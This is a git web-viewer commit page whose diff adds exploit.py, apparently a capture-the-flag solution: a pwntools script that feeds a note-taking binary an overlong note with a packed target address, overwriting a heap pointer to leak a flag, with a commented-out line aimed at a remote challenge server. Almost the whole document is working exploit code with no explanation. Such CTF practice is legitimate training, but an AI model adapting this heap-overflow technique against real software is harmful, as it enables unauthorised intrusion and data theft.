summaryrefslogtreecommitdiff
path: root/suckless2/exploit.py
diff options
context:
space:
mode:
authorJakob L. Kreuze <zerodaysfordays@sdf.org>2021-04-06 12:23:00 -0400
committerJakob L. Kreuze <zerodaysfordays@sdf.org>2021-04-06 12:25:17 -0400
commit983cd29f5a2c3d9cd1d6a9c4f343adcffe54f88c (patch)
tree395f4bf2dfe097d9d09413ad1b805765b2e7eae0 /suckless2/exploit.py
Initial import.HEADmaster
Diffstat (limited to 'suckless2/exploit.py')
-rw-r--r--suckless2/exploit.py43
1 files changed, 43 insertions, 0 deletions
diff --git a/suckless2/exploit.py b/suckless2/exploit.py
new file mode 100644
index 0000000..5ebdaf9
--- /dev/null
+++ b/suckless2/exploit.py
@@ -0,0 +1,43 @@
+import struct
+
+from pwn import *
+context(arch="x86_64", os="linux")
+
+FLAG_ADDR = 0x42a3cc
+
+p = process(["./suckless"], False, "./suckless")
+print("Here")
+# p = remote('34.75.105.136',1029)
+
+# Allocate first chunk.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline((b"A" * 16) + struct.pack("Q", FLAG_ADDR))
+p.recvuntil("> ")
+p.sendline("show")
+p.recvuntil("address: ")
+dbg = int(p.recvline(), 16)
+
+# Allocate dummy chunk.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline((b"B" * 8))
+p.recvuntil("> ")
+p.sendline("show")
+
+# Overwrite versionptr.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline()
+p.recvuntil("> ")
+p.sendline("show")
+print(p.recvuntil("> "))